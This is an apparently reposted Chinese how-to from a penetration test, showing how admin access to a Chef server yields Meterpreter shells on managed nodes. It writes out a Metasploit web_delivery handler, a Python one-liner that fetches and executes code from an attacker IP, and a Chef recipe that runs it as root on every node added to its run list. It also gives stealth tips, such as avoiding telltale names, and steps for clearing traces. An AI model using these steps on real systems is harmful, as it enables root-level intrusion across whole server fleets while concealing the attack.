您好,登錄后才能下訂單哦!
小編給大家分享一下怎么獲取Chef服務器的Meterpreter Shell,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
主要是想警告使用Chef的朋友,你們的管理員賬戶很可能早已在Chef web interface中泄露。管理員通常無法設置默認管理憑據。在這種情況下,Chef server主頁將為你提供。
在最近的一次滲透測試中,我成功拿下了一臺Chef server。然而對于Chef我并不了解,我使用較多的是Puppet,可以說在系統方面的大部分時間我都在使用Puppet。由于此前我從未遇到過Chef,因此我需要在最短的時間內,找出一個可以使用Chef基礎架構shell一定范圍內所有敏感主機的方法。以下是我的實行過程。
注意:所有這些很可能都是從命令行執行的。我通過Chef web interface獲取了一個帳戶,并且大部分時間都花在了GUI上。如果你知道如何在命令行上完成這些操作,你可以通過我的聯系方式告知我。謝謝!
首先,需要創建一個新的管理用戶用于上傳cookbooks。如果你手頭已經有一個使用習慣的管理用戶,那么你可以忽略這一步。
記下創建新管理用戶后界面為你提供的專用RSA密鑰。
如果你還沒有安裝過Chef,那么請在你的攻擊機上安裝它。出現提示時請輸入Chef URL。使用Chef server在其SSL證書中的主機名(不是IP地址或別名/cname),否則最終將導致你可能無法使用knife連接。
apt-get install chef
安裝完成后,配置knife連接到Chef server。確保輸入的URL和用戶名無誤。其他選項你可以設置為默認。
knife configure
將你的私有RSA密鑰寫入~/.chef目錄(.pem文件)中。同時,請確保你已相應地配置了你的~/.chef/knife.rb文件。
使用你的私鑰,下載Chef server的證書并驗證knife連接是否正常工作。使用以下命令來執行此操作。
knife ssl fetch knife ssl check
快速瀏覽可用的cookbooks,確保knife連接正常。
knife cookbook list
現在,你需要創建一個cookbook和recipe。我使用以下命令來執行此操作。但該命令似乎已被棄用,你可以根據提示來替換該命令。
knife cookbook create evil
接著,我們來啟動Metasploit,并創建一個web-delivery multi-handler。這里我選擇使用的是python multi-handler payload。
use exploit/multi/script/web_delivery set SRVPORT 8080 set SRVHOST 192.168.0.223 set URIPATH 2w9kwS11 set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.0.223 set LPORT 8443 set TARGET 0 run
成功執行后,我們將會獲取到以下輸出結果:
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"
填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。
execute "evil_commands" do command "python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());\"" user "root" action :run end
填充metadata.rb文件。以下為演示,在實際操作中請盡量避免使用類似于 'evil' 或 'pwnage' 等字符串。
是時候把你的Cookbook上傳到服務器上了。
knife cookbook upload evil
請確認你的cookbook現在是否已存在于Chef服務器中。你可以在命令行或Web界面中執行以下操作。
knife cookbook list | grep evil
導航到網站上的“Cookbooks”列表。
將cookbook recipe分配給你想要shell的目標,并將其添加到每個節點的運行列表中。 轉到節點列表,單擊你感興趣的節點,單擊Edit。
在左下欄的'Available Recipes'列表中找到你的cookbook recipe,然后將其拖到右上角的 'Run List' 中。點擊底部的 'Save Node'按鈕提交更改。
看!成功獲取到了一個meterpreter shell。
為了操作的安全性,一旦你成功獲取到了shell連接,請返回到web界面,并從已成功連接的節點運行列表中刪除recipe。你不需要從相同的端點產生多個shell。
在完成你的任務后,請務必清除你與之交互過的系統中存在的任何痕跡。kill你的Meterpreter會話,刪除你創建的管理用戶以及recipe。你可以通過以下命令完成。
關閉會話:
sessions -K
主機與knife的連接:
knife cookbook delete evil
以上是“怎么獲取Chef服務器的Meterpreter Shell”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。